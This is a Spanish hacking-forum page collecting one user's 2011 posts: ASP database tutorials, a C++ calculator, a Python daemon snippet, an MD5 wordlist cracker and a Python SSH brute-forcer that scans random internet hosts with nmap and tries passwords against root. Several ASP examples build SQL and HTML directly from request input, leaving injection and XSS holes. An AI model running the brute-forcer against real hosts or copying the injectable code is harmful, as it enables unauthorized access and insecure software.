Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - @ed33x

Páginas: [1] 2 3 ... 5
2
Es una pregunta muy sencilla... m.. como decirlo... avanza en los temas que ya sabes... por ejemplo...

Tu cuando empiezas una tarea la dejas a medias y empiezas otra? ...
Dale bien fuerte a esos 4 lenguajes de programacion, aprende TODO sobre esos 4 lenguajes de programacion.
Vale que esta bien saber un poco de todo, pero si ya as llegado al punto de.. como continuo es facil...

Un Saludo.

3
Dudas y pedidos generales / Re:Tutorial IndSocket Rat
« en: Febrero 10, 2011, 04:02:08 pm »
Genial ^^! Cierro post:O

4
Dudas y pedidos generales / Re:Fuerza Bruta
« en: Febrero 06, 2011, 07:36:53 am »
y de que juego estas ablando ^^?

5
Zona Webmaster / [ASP.NET] Tipos de conexion a una DB (Base de datos)
« en: Febrero 02, 2011, 02:07:41 pm »
1 - Conexion con DSN (ejemplo para Access)

La conexion con DSN es la mas comoda, pero solo se puede utilizar si tenemos acceso al Panel de Control de la maquina servidor. Por supuesto si estamos contruyendo una intranet tenemos el server a nuestro alcanze y a su Panel de Control.
Si simplemente estamos aprendiendo ASP y usamos el PWS (Personal Web Server) o el IIS 4 de NT tambien disponemos de esta comodidad.
Veamos como se realiza la conexion a una base de datos de Microsoft Access:

Creamos nuestra base de Datos en Microsoft Access y la guardamos. Luego vamos a Inicio > Configuracion > Panel de Control y alli elegimos Fuentes de Datos ODBC
Al ingresar nos encontramos con una pantalla que es el administrador de origenes de datos ODBC. En la solapa DSN de Usuario presionamos el boton Agregar. Luego seleccionamos Microsoft Access Driver (*.mdb) y presionamos Finalizar. Ahora se hara la conexion ODBC. Presionamos el boton Seleccionar y elegimos nuestra Base de Datos e ingresamos el nombre de la base en el primer campo.
Por ultimo el boton Aceptar
Si todo salio bien deberi­a aparecer el nombre de nuestra Base de Datos en la solapa DSN de usuario y ya tendremos hecha nuestra conexion ODBC a BS.

Ahora debemos conectar la base de datos en la pagina ASP

Código: ASP
  1. <%
  2. 'Definimos la variable para la conexion.
  3. Dim Conex
  4. Set Conex = Server.CreateObject ("ADODB.Connection")
  5. 'y ya estamos conectados a nuestra base de datos.
  6. Conex.Open "nombre de la BD"
  7. 'aqui abrimos la tabla. ...
  8. %>

Como vieron no es algo dificil... solo hay que aprenderser la linea de conexion. Pero recuerden que esto no servira si suben su BS y su sitio a internet. Para esto deben usar la siguiente conexon.

2 - Conexion sin DSN

Este tipo de conexion es mas complicada, pero es lo que debemos utilizar si queremos olvidar el panel de control, ya que hacemos la conexion a la base de datos mediante comandos. Ademas es mas rapida ;)
Observar bien bien la sintaxis... ya que es lo que nos trae los problemas siempre.

Para Access usando ODBC:
Código: ASP
  1. <%
  2. Dim Conex
  3. 'Creamos el objeto de conexion ahora...
  4. Set Conex = Server.CreateObject ("ADODB.Connection")
  5. Conex.open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=C:\misitio\db\mibase.mdb;"
  6. %>

Para Access 97 usando OLEDB:
Código: ASP
  1. <%
  2. Dim Conex
  3. 'Creamos el objeto de conexion ahora...
  4. Set Conex = Server.CreateObject ("ADODB.Connection")
  5. Conex.Open "Provider=Microsoft.Jet.OLEDB.3.51; Data Source=C:\misitio\db\mibase.mdb;"
  6. %>

Para Access 2000 usando OLEDB:
Código: ASP
  1. <%
  2. Dim Conex
  3. 'Creamos el objeto de conexion ahora...
  4. Set Conex = Server.CreateObject ("ADODB.Connection")
  5. Conex.open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=C:\misitio\db\mibase.mdb;"
  6. %>

Para SQL Sever:

Código: ASP
  1. <%
  2. Dim Conex
  3. 'Creamos el objeto de conexion ahora...
  4. Set Conex = Server.CreateObject ("ADODB.Connection")
  5. Conex.Open "driver={SQL Server};server=TU_SERVIDOR; database=NOMBRE_BASE; uid=sa;pwd="
  6. %>

Importante: En los 3 primeros ejemplos, referidos todos a conexiones con bases de datos Access, use un path fijo. Lo puse asi, para el mejor entendimiento, pero generalmente se hace uso de la funcion Server.MapPath()  la cual devuelve el path donde ejecutamos el script

Les intentare explicar el uso de esa funcion mediante un ejemplo que no tiene que ver con conexion a base de datos, pero intentare que se relacione.
Código: ASP
  1. <%
  2. Dim path
  3. 'guardamos en la variable path lo que devuelve la funcion
  4. path = Server.MapPath("./")
  5. Response.Write path
  6. %>

El codigo ejecutado, muestra el contenido de la variable path
Como ven la variable path contiene el directorio donde se ejecuta el script.


Fuente :soloasp.com.ar

6
Zona Webmaster / [ASP.NET] Actualizar un registro ya existente con ASP
« en: Febrero 02, 2011, 02:06:26 pm »
Como actualizar un registro ya existente

Para mostrar como se actualiza un registro presente en nuestra base de datos, vamos a hacerlo a partir de un caso un poco mas complejo para que empecemos a familiarizarnos con estas operaciones. Realizaremos un par de scripts que permitan cambiar el numero de telefono de las distintas personas presentes en nuestra base. El nombre de estas personas, asi­ como el nuevo numero de telefono, seran recogidos por medio de un formulario.

El archivo del formulario va a ser esta vez un script ASP en el que efectuaremos una llamada a nuestra base de datos para construir un menu desplegable donde aparezcan todos los nombres. La cosa quedari­a asi­:

Código: HTML5
  1. <TITLE>Actualizar1.asp</TITLE>
  2. </HEAD>
  3. <div align="center">
  4. <h1>Actualizar un registro</h1>
  5. <br>
  6.  
  7.  
  8. <%
  9. 'Instanciamos y abrimos nuestro objeto conexion
  10. Set Conn = Server.CreateObject("ADODB.Connection")
  11. Conn.Open "Mibase"
  12. %>
  13.  
  14.  
  15.  
  16. <FORM METHOD="POST" ACTION="actualizar2.asp">
  17. Nombre<br>
  18. <%
  19. 'Creamos la sentencia SQL y la ejecutamos
  20. sSQL="Select nombre From clientes Order By nombre"
  21. set RS = Conn.Execute(sSQL)
  22. %>
  23. <select name="nombre">
  24. <%
  25. 'Generamos el menu desplegable
  26. Do While not RS.eof%>
  27.  
  28. <option><%=RS("nombre")%>
  29.  
  30. <%RS.movenext
  31.  
  32. Loop
  33.  
  34. %>
  35.  
  36.  
  37. <br>
  38.  
  39. Telefono<br>
  40.  
  41. <INPUT TYPE="TEXT" NAME="telefono"><br>
  42.  
  43. <INPUT TYPE="SUBMIT" value="Actualizar">
  44.  
  45. </FORM>
  46.  
  47. </div>
  48.  
  49. </BODY>
  50. </HTML>
  51.  
  52. La manera de operar para construir el menu desplegable es la misma que para visualizar la tabla. De nuevo empleamos un bucle Do While que nos permite mostrar cada una de las opciones.
  53.  
  54. El script de actualizacion sera muy parecido al de insercion:
  55. <TITLE>Actualizar2.asp</TITLE>
  56. </HEAD>
  57.  
  58. <%
  59. 'Recogemos los valores del formulario
  60. nombre=Request.Form("nombre")
  61. telefono= Request.Form("telefono")
  62. 'Instanciamos y abrimos nuestro objeto conexion
  63. Set Conn = Server.CreateObject("ADODB.Connection")
  64. Conn.Open "Mibase"
  65.  
  66. 'Ahora creamos la sentencia SQL
  67. sSQL="Update Clientes Set telefono='" & telefono & "' Where nombre='" &
  68. nombre & "'"
  69. 'Ejecutamos la orden
  70. set RS = Conn.Execute(sSQL)
  71. %>
  72.  
  73. <h1><div align="center">Registro Actualizado</div></h1>
  74. <div align="center"><a href="lectura.asp">Visualizar el contenido de la
  75. base</a></div>
  76.  
  77. <%
  78. 'Cerramos el sistema de conexion
  79. Conn.Close
  80. %>
  81. </BODY>
  82. </HTML>

Nada que comentar al respecto salvo la estructura de la sentencia SQL que en este caso realiza un Update en lugar de un Insert. Aconsejamos, como para el caso precedente imprimir el valor de sSQL de manera a ver como queda la sentencia una vez construida.



http://www.lawebera.es/manuales/asp/17.php

7
Zona Webmaster / [ASP.NET] Agilizar la carga de tus paginas
« en: Febrero 02, 2011, 02:05:35 pm »
En este arti­culo les mostraremos algunos trucos y consejos para agilizar la velocidad en que cargan tus paginas programadas en ASP. En muchos casos, estas cargan lentamente ya que estan programadas con algunos errores que llevan a sobrecargar los recursos del servidor dejando el sitio sin funcionar o con escasos recursos.

Estado de las sesiones (Session State)
Si no vamos a utilizar ninguna variable de tipo session dentro del sitio, podemos deshabilitarlas. Debemos ubicar las siguientes li­neas al principio del archivo .asp:

Código: ASP
  1. <%
  2. @ language = "VBScript"
  3. ENABLESESSIONSTATE = False
  4. %>
  5.  
Response.Buffer
Esta li­nea le dira al Servidor que ejecute todo el codigo despues de enviar cualquier informacion al cliente.
Código: ASP
  1. <%
  2. Response.Buffer = True
  3. %>
  4.  
Cerrar las conexiones y recordsets
Cuando realizamos cualquier tipo de conexion debemos asegurarnos de cerrarla al finalizar el script. Ademas de practicar la codificacion en ASP nos permite prevenir la corrupcion de una base de datos Access.
Código: ASP
  1. <%
  2. recorset.close
  3. conexion.close
  4. set recordset=Nothing
  5. set conexion=Nothing
  6. %>
  7.  
Option Explicit
Usando esta opcion es posible debuguear los scripts mas rapidamente. Ademas ayudara a aprender a la fuerza la codificacion en ASP, ya que habilitando esta opcion deberemos declarar todas las variables.
Código: ASP
  1. <%
  2. OPTION EXPLICIT
  3. %>
  4.  


Informe (ASP) de fabian muller
Webmaster de http://www.webexperto.com

8
Zona Webmaster / [ASP.NET] Agregar, eliminar y modificar datos en una DB
« en: Febrero 02, 2011, 02:05:03 pm »
En este arti­culo veremos como agregar/eliminar/modificar datos de una base de datos Access utilizando ADO.

Agregando
Almacenaremos los datos utilizando la propiedad AddNew del Recordset, y luego la actualizamos la base de datos con la propiedad Update.

Código: ASP
  1. <%
  2. 'Creamos la conexion y el recordset
  3. set cnn = Server.CreateObject("ADODB.Connection")
  4. set rst = Server.CreateObject("ADODB.RecordSet")
  5.  
  6. 'Abrimos la conexion por DNS
  7. cnn.Open "dnsusuarios"
  8.  
  9. 'Ejecutamos una consulta SQL a la tabla
  10. sqltext = "SELECT * FROM tblUsuarios"
  11. rst.Open sqltext,cnn,3,3
  12.  
  13. 'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
  14. nombre="Fabian"
  15. apellido = "Muller"
  16.  
  17. rst.AddNew
  18. rst("nombre") = nombre
  19. rst("apellido") = apellido
  20. rst("email") = email
  21. rst.update
  22.  
  23. 'Cerramos el recordset y la conexion
  24. rst.Close
  25. set rst = Nothing
  26. cnn.Close
  27. set cnn = Nothing
  28. %>
  29.  
Modificando
Utilizando la misma tabla, modificaremos un registro de la base de datos, el cual puede ser especificado a traves de una variable session, formulario, querystring, entre otros. En este caso pasaremos el parametro EMAIL por un querystring (ejemplo: [email protected])
Código: ASP
  1. <%
  2. 'Creamos la conexion y el recordset
  3. set cnn = Server.CreateObject("ADODB.Connection")
  4. set rst = Server.CreateObject("ADODB.RecordSet")
  5.  
  6. 'Abrimos la conexion por DNS
  7. cnn.Open "dnsusuarios"
  8.  
  9. 'Ejecutamos una consulta SQL a la tabla
  10. sqltext = "SELECT * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
  11. rst.Open sqltext,cnn,3,3
  12.  
  13. 'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
  14. nombre="Fabian"
  15. apellido = "Muller"
  16.  
  17. 'Modificamos los datos
  18. rst("nombre") = nombre
  19. rst("apellido") = apellido
  20. rst("email") = email
  21. rst.update
  22.  
  23. 'Cerramos el recordset y la conexion
  24. rst.Close
  25. set rst = Nothing
  26. cnn.Close
  27. set cnn = Nothing
  28. %>
  29.  
Eliminando
Para eliminar un registro realizaremos utilizaremos el mismo parametro que el anterior (ejemplo: [email protected])
Código: ASP
  1. <%
  2. 'Creamos la conexion y el recordset
  3. set cnn = Server.CreateObject("ADODB.Connection")
  4. set rst = Server.CreateObject("ADODB.RecordSet")
  5.  
  6. 'Abrimos la conexion por DNS
  7. cnn.Open "dnsusuarios"
  8.  
  9. 'Ejecutamos una consulta SQL a la tabla, y eliminamos el registro
  10. sqltext = "DELETE * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
  11. rst.Open sqltext,cnn
  12.  
  13. 'Cerramos el recordset y la conexion
  14. rst.Close
  15. set rst = Nothing
  16. cnn.Close
  17. set cnn = Nothing
  18. %>
  19.  
De esta manera podemos realizar un ABM (Altas, Bajas y Modificaciones) de los registros almacenados en una base de datos.



Informe (ASP) de fabian muller
Webmaster de http://www.webexperto.com[/code]

9
Zona Webmaster / [ASP.NET] Comillas simples y bases de datos
« en: Febrero 02, 2011, 02:04:28 pm »
Uno de los problemas mas ti­picos con el que se enfrenta todo programador ASP, especialmente al principio, es como aceptar comillas simples (') en una sentencia SQL.

Pues es muy sencillo, para aceptar una comilla simple hay que escaparla, poniendo 2. Igual que cuando queremos escribir una comilla doble en un Response.Write ponemos dos seguidas.

Si estas recogiendo los datos desde un formulario por ejemplo, un pequeño uso de Replace nos hara esto:

Código: ASP
  1. <%
  2. Dim texto, num
  3.  
  4. num = 5
  5. texto = Request.Form("Texto")
  6. texto = Replace(texto, "'", "''")
  7. SQL="INSERT INTO Tabla (Texto, Numero) VALUES (" & texto & ", " & num &")"
  8. ...
  9. %>

Muy sencillo. Replace acepta como primer argumento la cadena donde se va a reemplazar, como segundo la cadena a buscar y como tercer la cadena de reemplazo. Asi­ que ponemos como segundo argumento una comilla simple y como tercer dos comillas simples juntas (ambos entre comillas dobles, claro).


Fuente:aspfacil.com

10
Zona Webmaster / [ASP.NET] Lectura y escritura de archivos
« en: Febrero 02, 2011, 02:03:07 pm »
Para trabajar con archivos en ASP debemos utilizar el Objeto Sistema de Archivos, en adelante FSO, que crearemos de la siguiente manera:
Código: ASP
  1. <%
  2. 'Creamos el objeto FSO
  3. set FSO = server.createObject("Scripting.FileSystemObject")
  4.  
  5. '...
  6.  
  7. Set FSO = Nothing
  8. %>

Ahora ya podemos crear descriptores de fichero usando la funcion OpenTextFile del FSO y a partir de ahi­ empezar a leer y escribir:
Código: ASP
  1. <%
  2. set FSO = server.createObject("Scripting.FileSystemObject")
  3. 'Creamos el descriptor de fichero
  4. Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
  5.  
  6. '...
  7.  
  8. Set FSO = Nothing
  9. %>

En el ejemplo abrimos un descriptor de fichero apuntando al fichero "c:\ejemplo.txt" en modo de lectura (1), si quisieramos que fuera en modo de escritura seri­a con un 2.

Tambien podemos pasar un tercer parametro a OpenTextFile, para indicar si crear o no el fichero en caso de no existir (True o False).

Leer el contenido
Para leer el contenido de un archivo abierto en modo de escritura, utilizaremos la funcion ReadAll del Objeto Descriptor de Fichero (FD), que nos devolvera el contenido del archivo:
Código: ASP
  1. <%
  2. set FSO = server.createObject("Scripting.FileSystemObject")
  3. Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
  4. 'Escribimos su contenido
  5. Response.Write "El contenido es:<br>" & FD.ReadAll
  6. Set FSO = Nothing
  7. %>

Escribir al archivo
Ahora que sabemos como leer del archivo, veamos como escribir en el, una vez creado el descritor de escritura, haremos lo siguiente:
Código: ASP
  1. <%
  2. set FSO = server.createObject("Scripting.FileSystemObject")
  3. Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
  4. 'Escribimos su contenido
  5. FD.WriteLine "Escribimos en el fichero"
  6. Set FSO = Nothing
  7. %>

Vemos como escribimos de manera sencilla gracias al metodo writeLine.


Fuente: lawebdelprogramadr

11
Zona Webmaster / [ASP.NET] Paso de variables por URL
« en: Febrero 02, 2011, 02:02:16 pm »
Cuando accedamos a una pagina ASP, le pasaremos los parametros de la siguiente manera: pagina.asp?variable1=valor1&variable2=valor2, de manera que podremos configurar la pagina dependiendo de los valores de las variables pasadas.

Para leer la variable de la URL usaremos request.Querystring (nombre) que nos devolvera el valor de la variable pasada por URL que tiene el nombre pasado por parametro a la funcion Querystring:
Código: ASP
  1. <%
  2. Dim variable1, variable2
  3. variable1=request.Querystring ("variable1")
  4. variable2=request.Querystring ("variable2")
  5. response.write ("<b>variable1: </b>" & variable1)
  6. response.write ("<br><b>variable2: </b>" & variable2)
  7. %>

Observar que antes de usar las variables variable1 y variable2 en la pagina, tenemos que definirlas haciendo Dim variable1, variable2.

Despues les daremos valor con la funcion request.Querystring y ya podremos escribir el resultado con response.write para conseguir este claro ejemplo.

Por ejemplo, vamos a imaginar que tenemos una pagina de caratulas, y en una sola pagina queremos que muestre una imagen indicada en una variable pasada por URL de la siguiente manera:

caratula.asp?imagen=234.gif

Y el codigo que usaremos sera:
Código: ASP
  1. <%
  2. response.write ("<img src=" & request.Querystring ("imagen") & ">")
  3. %>

Espero que este arti­culo os sea de utilidad, ya se que el nivel no es muy avanzado pero lo que se trata en el es basico para cualquier aplicacion web.

Nota: Algunos buscadores como google no indexan paginas con segun que variable en la url, asi pues, evitaremos usar la variable id si queremos nuestra web en google.


Fuente

12
Seguridad Wireless / Re:Crackear WEP con WepCrack GUI
« en: Enero 30, 2011, 08:10:01 pm »
Me puedes decir que Sistema Operativo concretamente usas? Ubuntu?

Saludos

13
Dudas y pedidos generales / Re:Solicitud de Subforo
« en: Enero 30, 2011, 05:43:02 pm »
Cuando subamos de usuarios y se vea mas actividad en dichas secciones se ara una encuesta para haber que vota todo el mundo.

Cierro!

14
Dudas y pedidos generales / Re:Tienen zona de carding?
« en: Enero 30, 2011, 05:42:13 pm »
Tema solucionado. Cierro.

15
Dudas y pedidos generales / Re:[Duda]Sacar Clave de office 2010
« en: Enero 30, 2011, 05:41:25 pm »
Bueno acordaosque no aceptamos seriales, claves, keylogers y demas.

Cierro, TEMA SOLUCIONADO!

16
Dudas y pedidos generales / Re:Ayuda con tutorial OLLYDBG
« en: Enero 30, 2011, 05:40:09 pm »
Bueno creo que este tema ya esta resuelto.

Cierro.

17
Códigos Fuentes / Calculadora basica :: eDeex
« en: Enero 30, 2011, 03:56:31 pm »
Código: C++
  1. #include <iostream>
  2. void exit()
  3. {
  4.         system("pause");
  5. }
  6. //-------------------------
  7. void encabezado()
  8. {
  9.         using namespace std;
  10.         cout << "Calculadora basica C++" << endl;
  11.         cout << "De [email protected] || Para www.underc0de.org" << endl;
  12.         cout << "-------------------------------" << endl;
  13.         cout << " 1 = Sumar " << endl;
  14.         cout << " 2 = Restar " << endl;
  15.         cout << " 3 = Multiplicar " << endl;
  16.         cout << " 4 = Dividir " << endl;
  17.         cout << " 5 = Salir " << endl;
  18.         cout << "-------------------------------" << endl;
  19.  
  20. }
  21. //-------------------------
  22. int main()
  23. {
  24.         using namespace std;
  25.         encabezado();
  26.         int resultado_menu;
  27.         cin >> resultado_menu;
  28.         switch (resultado_menu)
  29.         {
  30.         case 1:
  31.                 cout << "Introduce las 2 cifras" << endl;
  32.                 int a_mas, b_mas, resultado_mas;
  33.                 cin >> a_mas;
  34.                 cout << "+ " << endl;
  35.                 cin >> b_mas;
  36.                 resultado_mas = a_mas + b_mas;
  37.                 cout << "Resultado: "  << resultado_mas << endl;
  38.                 break;
  39.         case 2:
  40.                 cout << "Introduce las 2 cifras" << endl;
  41.                 int a_menos, b_menos, resultado_menos;
  42.                 cin >> a_menos;
  43.                 cout << "- " << endl;
  44.                 cin >> b_menos;
  45.                 resultado_menos = a_menos - b_menos;
  46.                 cout << "Resultado: "  << resultado_menos << endl;
  47.                 break;
  48.         case 3:
  49.                 cout << "Introduce las 2 cifras" << endl;
  50.                 int a_multi, b_multi, resultado_multi;
  51.                 cin >> a_multi;
  52.                 cout << "* " << endl;
  53.                 cin >> b_multi;
  54.                 resultado_multi = a_multi * b_multi;
  55.                 cout << "Resultado: "  << resultado_multi << endl;
  56.                 break;
  57.         case 4:
  58.                 cout << "Introduce las 2 cifras" << endl;
  59.                 float a_divide, b_divide, resultado_divide;
  60.                 cin >> a_divide;
  61.                 cout << "/ " << endl;
  62.                 cin >> b_divide;
  63.                 resultado_divide = a_divide / b_divide;
  64.                 cout << "Resultado: "  << resultado_divide << endl;
  65.                 break;
  66.         case 5:
  67.                 cout << "Visita www.underc0de.org" << endl;
  68.                 break;
  69.         default:
  70.                 cout << "ERROR!!" << endl;
  71.                 break;
  72.  
  73.         }
  74.  
  75.         exit();
  76. }
  77.  

Estoy empezando con C++, dentro de poco la are con interface grafica.
Saludos

18
Python / Md5 Hash cracker (GUI)
« en: Enero 30, 2011, 10:14:04 am »


Código: Python
  1. #MD5 Cracker (GUI Version)
  2. #d3hydr8[at]gmail[dot]com
  3. #http://www.darkc0de.com
  4.  
  5. from Tkinter import *
  6. import tkFileDialog, md5
  7.  
  8. class Application(Frame):
  9.         def __init__(self, master):
  10.                 Frame.__init__(self, master)
  11.                 self.grid()
  12.                 self.create_widget()
  13.         def create_widget(self):
  14.                
  15.                 self.lbl = Label(self, text = "ENTER MD5: ")
  16.                 self.lbl.grid(row = 2, column = 0, sticky = E)
  17.                
  18.                 self.pw_ent = Entry(self, width = 32)
  19.                 self.pw_ent.grid(row = 2, column = 1, sticky = E)
  20.                
  21.                 self.submit_bttn = Button(self, text = "Choose Wordlist", command = self.loadwords)
  22.                 self.submit_bttn.grid(row = 5, column = 1, sticky = W)
  23.                
  24.                 self.txtbox = Text(self, width = 55, height = 8, font=('Georgia', 8), bg = "#CCC", wrap = WORD)
  25.                 self.txtbox.grid(row = 7, column = 0, columnspan = 2, sticky = W)
  26.  
  27.                 self.bttn1 = Button(self, text = "Crack", font=('courier', 10, 'bold'), command = self.crack)
  28.                 self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")
  29.        
  30.                 self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
  31.                 self.clear.grid(row = 10, column = 1,sticky= E)
  32.                
  33.         def loadwords(self):
  34.                 global wordlist
  35.                 file = tkFileDialog.askopenfile(parent=root,mode='r',title='Choose a file')
  36.                 wordlist = file.readlines()
  37.                 self.txtbox.insert(END, "Loaded: "+str(len(wordlist))+" words")
  38.                
  39.         def crack(self):
  40.                 pw = self.pw_ent.get()
  41.                 if len(pw) == 32:
  42.                         self.txtbox.insert(END, "\nCracking: "+pw)
  43.                         for word in wordlist:
  44.                                 hash = md5.new(word.replace("\n","")).hexdigest()
  45.                                 if pw == hash:
  46.                                         self.txtbox.insert(END, "\n\nCracked: "+word)
  47.                                         break
  48.                         self.txtbox.insert(END, "\nComplete")
  49.                 else:
  50.                         self.txtbox.insert(END, "\nImproper MD5 Length: "+str(len(pw)))
  51.                        
  52.         def clear(self):
  53.                 self.pw_ent.delete(0, END)
  54.                 self.txtbox.delete(0.0, END)
  55.                 wordlist = []
  56.                
  57. root = Tk()
  58. root.title("MD5 Cracker")
  59. root.geometry("350x200")
  60. app = Application(root)
  61. root.mainloop()
  62.  

19
Python / SSH BruteForce
« en: Enero 30, 2011, 10:13:43 am »
Código: Python
  1. #!/usr/bin/python
  2. #SSH BruteForcer that scans for random
  3. #open ssh ports using nmap and then brute
  4. #forces them.
  5.  
  6. #http://www.darkc0de.com
  7. #d3hydr8[at]gmail[dot]com
  8.  
  9. import sys, time, StringIO, commands, re
  10.  
  11. #Set the successful login file.
  12. save_file = "SSH_Logins.txt"
  13. #Set verbose mode: 1=on 0=off
  14. verbose = 1
  15. #Set the user to use.
  16. user = "root"
  17.  
  18. try:
  19.         import pexpect, pxssh
  20. except(ImportError):
  21.         print "\nYou need the pexpect module."
  22.         print "http://www.noah.org/wiki/Pexpect\n"
  23.         sys.exit(1)
  24.        
  25. def scan():
  26.         args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
  27.         nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
  28.         ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
  29.         if ipaddr:
  30.                 return ipaddr[0]
  31.  
  32. def brute(ip, word):
  33.         if verbose != 0:
  34.                 print "Trying:",word
  35.         try:
  36.                 s = pxssh.pxssh()
  37.                 s.login (ip, user, word, login_timeout=10)
  38.                 s.sendline (command)
  39.                 s.prompt()
  40.                 print "\n",s.before
  41.                 s.logout()
  42.                 print "\t[!] Login Success:",user, word,"\n"
  43.                 logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
  44.         except Exception, e:
  45.                 #print "[-] Failed"
  46.                 pass
  47.         except KeyboardInterrupt:
  48.                 print "\n[-] Quit\n"
  49.                 logins.close()
  50.                 sys.exit(1)
  51.  
  52. print "\n\t   d3hydr8:darkc0de.com sshBrute/Random v1.0"
  53. print "\t----------------------------------------------"
  54.        
  55. if len(sys.argv) != 3:
  56.         print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
  57.         print "Eg: ./sshbrute_random.py 1000 words.txt\n"
  58.         sys.exit(1)
  59.  
  60. num = sys.argv[1]
  61. command = 'uname -a'
  62. logins = open(save_file, "a")
  63.  
  64. try:
  65.         words = open(sys.argv[2], "r").readlines()
  66. except(IOError):
  67.         print "\n[-] Error: Check your wordlist path\n"
  68.         sys.exit(1)
  69.  
  70. print "\n[+] Loaded:",len(words),"words"
  71. print "[+] User:",user
  72. print "[+] Save file:",save_file
  73. if verbose != 0:
  74.         print "[+] Verbose Mode: On"
  75. else:
  76.         print "[+] Verbose Mode: Off"
  77. print "[+] Scanning:",num,"ips\n"
  78.  
  79. for x in xrange(int(num)):
  80.         print "[-] Scanning:",x+1,"of",num
  81.         ip = scan()
  82.         if ip != None:
  83.                 print "\n\t[+] BruteForcing:",ip,"\n"
  84.                 for word in words:
  85.                         #Change this time if needed
  86.                         time.sleep(0.5)
  87.                         brute(ip, word.replace("\n",""))
  88. logins.close()
  89. print "\n[-] Done\n"
  90.  

20
Python / Daemons en Python
« en: Enero 30, 2011, 10:12:14 am »
Código: Python
  1. By xianur0
  2. def constructor(): #definimos el constructor del daemon
  3. try:
  4. if os.fork() > 0: os._exit(0) #sale si el fork no trabaja bien
  5. except OSError, error:
  6. print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error
  7. # de ejecucion del fork
  8. os._exit(1)
  9. os.chdir('/')
  10. os.setsid()
  11. os.umask(0)
  12. try:
  13. pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon
  14. if pid > 0: #si el pid es mayor a 0 el fork fue correcto
  15. # y tenemos un lugar para nuestro daemon :)..
  16. #Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID
  17. os._exit(0)
  18. except OSError, error:
  19. print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)
  20. os._exit(1)
  21. #Aqui estaria la funcion del daemon (lo que hara nuestro daemon)
  22. if __name__ == '__main__':
  23.  
  24. constructor() #cargamos nuestro constructor del daemon :)...

Páginas: [1] 2 3 ... 5